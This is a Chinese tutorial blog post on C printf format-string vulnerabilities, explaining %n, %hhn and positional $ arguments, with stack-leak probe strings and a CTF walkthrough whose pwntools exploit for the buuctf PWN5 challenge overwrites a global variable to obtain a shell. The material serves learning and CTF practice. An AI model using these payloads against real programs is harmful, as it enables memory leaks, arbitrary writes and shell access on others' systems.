代码编织梦想

菜鸟记录格式化字符串的学习总结,方便复习。

格式化字符串漏洞

学习格式化字符串之前,先得了解什么是格式化字符串。

格式化字符串

printf("格式化字符串1,格式化字符串2",参数1,参数2...)

格式化允许我们部分控制显示文本的样式,我们可以通过代替特殊的格式字符来显示值或者数据,比如,要显示整形的变量"data",就可以使用下面的格式化字符:

printf("The number is %d",data)

打印的时候,%d就被data的值所替代。当data=20时,调用后会打印出 The number is 20这句话。如果想用十六进制显示相同值可以写成:

printf("The hex number is %x",data)

这里的%d就表示以十进制打印的data的值,%x表示十六进制打印data的值。下面是一些常见的格式化字符串语法:

%d - 十进制 - 打印十进制整数
%s - 字符串 - 打印参数地址处的字符串
%x,%X- 十六进制 - 打印十六进制数
%o - 八进制 -打印八进制整形
%c - 字符 - 打印字符
%p - 指针 - 打印指针地址 即void *
%n - 到目前为止所写的字符数

当然,功能也不仅限于控制显示的数据类型,还能控制显示的宽度和队列。
%<正整数n>c 打印宽度为n的字符串(打印长度为n)
举例:

printf("%5c",65)  A的ascll码为65

调用后打印出A,宽度为5,因此A前面会填充4个空格,打印效果如下:
在这里插入图片描述

printf("%-10c%c",65,66);

打印字符串长度10,用空格填充,"-"使结果左对齐,在右边填空格,打印效果如下:
在这里插入图片描述
特别要注意的是%n这个格式化字符串,它的功能是将%n之前打印出来的字符个数(四字节)写入参数地址处(赋值给一个变量)。32位的程序,%n取的就是4字节指针,64位取的就是8字节指针。
%hn 写入两个字节
%hhn 写入一个字节

举例:

printf("%10c%n",65,0x41414141);

打印9个空格加上一个A,所以会往地址0x41414141处写入10(4字节)

printf("%1234c%hhn",65,0x41414141);

因为1234=0x4D2,所以会往地址0x41414141处写入0xD2(1字节)

漏洞成因和基本原理

触发该漏洞的函数很有限,主要就是printf还有sprintf,fprintf等c库中print家族的函数。
函数用法:
正确的printf用法:

#include <stdio.h>
int main()
{
  char str[100];
  scanf("%s",str);
  printf("%s",str);
  return 0;
}

写程序时要规定字符串的格式化说明符,规定参数的输出类型

错误的printf写法:

#include <stdio.h>
int main()
{
  char str[]="qwer";
  printf(str);
  return 0;
}

运行后结果没有什么问题。
在这里插入图片描述
但是如果将字符串的输入权交给用户就会有问题了。看下面的代码:

#include <stdio.h>

int main(void)
{
    char str[100];
    scanf("%s",str);
    printf(str);
    return 0;
}

假设我们的输入为:

AAAA%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x

函数用法正确的程序的输出为:
在这里插入图片描述
错误用法的输出则为:
在这里插入图片描述

输出的结果是 内存中的数据地址。

参数不足的情况

关于这个情况,我们先来了解下,如果printf的参数不足,会发生什么?
会假设这些参数的存在,在对应的栈/寄存器上找到这些参数,并做相应处理。
举例:

printf("%p:%p:%p:%p\n");

打印结果如下:
在这里插入图片描述

32位程序,函数调用时参数在栈:格式化字符可控可以泄露栈上的数据
64位程序,函数调用使用寄存器+栈:格式化字符可控可以泄露特定寄存器和栈上的值(前6个参数放在寄存器上,会先依次打印出寄存器上的值。)

具体原理:当printf在输出格式化字符串的时候,会维护一个内部指针,当printf逐步将格式化字符串的字符打印到屏幕,当遇到%的时候,printf会期望它后面跟着一个格式字符串,因此会递增内部字符串以抓取格式控制符的输入值。这就是问题所在,printf无法知道栈上是否放置了正确数量的变量供它操作,如果没有足够的变量可供操作,而指针按正常情况下递增,就会产生越界访问。甚至由于%n的问题,可导致任意地址读写。

所以尽管没有参数或者参数不足,上面的代码也会将 格式化字符串 后面的内存当做参数以16进制输出。这样就会造成内存泄露。

关于$符号(补充)

读取:

%<正整数n>$ <数据类型>,指定占位符对应的第n个参数,例如 %8$x 就是以 x 格式读第 8 个参数的值。

举例:

printf("0x%2$x : 0x%1$x",0xabc,0xdef);
当中的%2$x 对应第二个参数,%1$x对应第一个参数
打印结果:0xdef : 0xabc

写入:

%<数值>c%<正整数>$ <类型>
%44c%5$hn 就是向第 5 个参数写入 44 这个数值。

漏洞的利用

在试图利用格式化字符串漏洞之前,你需要知道格式化字符串会在调用printf之前先压入堆栈中。所以当发现一个格式化字符串漏洞时,首先你需要找到格式化字符串距离当前位置的偏移。

只要我们在printf中填入足够的参数,例如,先输入AAAA %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x········来确定输入首地址的偏移(找到41414141就是AAAA)

读取内存

我们可以通过输入 “%偏移$格式输出” 直接输出偏移为x处的内容。
用法:

%9$s
输出偏移为9处的内容

修改内存

在格式化字符串中 有一个 特殊的格式化控制符 “%n”,它可以将已经输出的字节个数写入到 指定的 的地址中,配合$直接修改第几个参数来修改想要修改地址的值。
用法:

%修改数据c%偏移$n修改地址

案例分析

以buuctf上的 [第五空间2019 决赛]PWN5 为例。
题目链接:
https://buuoj.cn/challenges#[%E7%AC%AC%E4%BA%94%E7%A9%BA%E9%97%B42019%20%E5%86%B3%E8%B5%9B]PWN5

checksec 查看文件
在这里插入图片描述

用IDA查看
在这里插入图片描述
发现明显的格式化漏洞,因为这个dword_804c044从服务器读入,无法知道其内容,所以使用%n将其数据修改,随后passwd输入相同的数据即可得到shell。

计算偏移

在这里插入图片描述
可以看到偏移为10,之后只要修改dword_804c044的值,让输入和dword_804c044的值一样就可以了

IDA查看 dword_804c044的地址为0x804c044
### dword_804c044

exp如下:

from pwn import*

r=remote('node4.buuoj.cn',26588)

payload=p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047)+'%10$hhn%11$hhn%12$hhn%13$hhn'  #一个字节一个字节的写入,共写入四个字节。

r.sendline(payload)
r.sendline(str(0x10101010))
r.interactive()

p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047) 总共16个字节,所以16会被写到bss位置。16的十六进制为10,然后在输入0x10101010与之相同即可。

在这里插入图片描述

总结

格式化字符串,也是一种比较常见的漏洞类型, 具有任意地址读,任意地址写的特点。漏洞主要是没有规定参数的输出类型引起的。

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/qq_57483327/article/details/122814122

深入解析sprintf格式化字符串漏洞_kkabqn的博客-爱代码爱编程_sprintf漏洞

深入解析sprintf格式化字符串漏洞 0x00 前言 从相遇到相识 从相识到相知 ......... 不过你真的懂ta吗 这次故事的主角是PHP中的格式化函数sprintf 0x01 sprintf()讲解 首先我们先了解sprintf()函数 sprintf() 函数把格式化的字符串写入变量中。 sprintf(format,arg

格式化字符串漏洞原理详解_dittozzz的博客-爱代码爱编程_格式化字符串漏洞原理

菜鸡刚学总结下,方便复习。 理解这个漏洞的原理,你需要有汇编层面的函数调用和函数的参数传递知识。如果你不清楚函数的参数是如何传递的,可以看《加密与解密》的逆向分析技术篇,也可以参考我博客里的(https://blog.cs

pwn格式化字符串漏洞小结-爱代码爱编程

格式化字符串漏洞 0x00.前言 在pwn中,格式化字符串漏洞是一个非常基础的漏洞,他通常穿插在各种漏洞之中。比如,当程序开了PIE保护时,在栈溢出之前,我们先可以运用格式化字符串漏洞获取栈中的信息;通过格式化字符串漏洞的任意地址写,我们可以把栈帧劫持到堆地址上;我们甚至可以直接通过任意地址写,劫持got表,实现getshell…… 总而言之,格式化字

格式化字符串漏洞归纳-爱代码爱编程

00 主要是构建框架,没有详细阐述内容 分为两部分,漏洞原理与利用方式 01 漏洞原理 1 程序崩溃 通常来说,利用格式化字符串漏洞使得程序崩溃是最为简单的利用方式,因为我们只需要输入若干个%s即可。这是因为栈上不可能每个值都对应了合法的地址,所以总是会有某个地址可以使得程序崩溃。这一利用,虽然攻击者本身似乎并不能控制程序,但是这样却可以造成程序不

CTF pwn题之格式化字符串漏洞详解-爱代码爱编程

格式化字符串漏洞详解 概念如何利用基本利用方式讲解常用payload总结pwntools -- FmtStr类求偏移地址泄露任意地址写一个例子总结 概念   格式化字符串漏洞的成因在于像printf/sprintf/snprintf等格式化打印函数都是接受可变参数的,而一旦程序编写不规范,比如正确的写法是:printf("%s", pad),

C语言常见漏洞-格式化字符串漏洞-爱代码爱编程

格式化字符串漏洞 1 预备知识2 漏洞产生机理 1 预备知识 在c语言中的printf,fprintf,sprintf,snprintf等print函数经常会用到类似%形式的一个或者多个说明符。比如printf("my name is %s",panghu);中的%s。 说明符如下 说明符注释%d以十进制整数的格式输出%s以字符串的的格式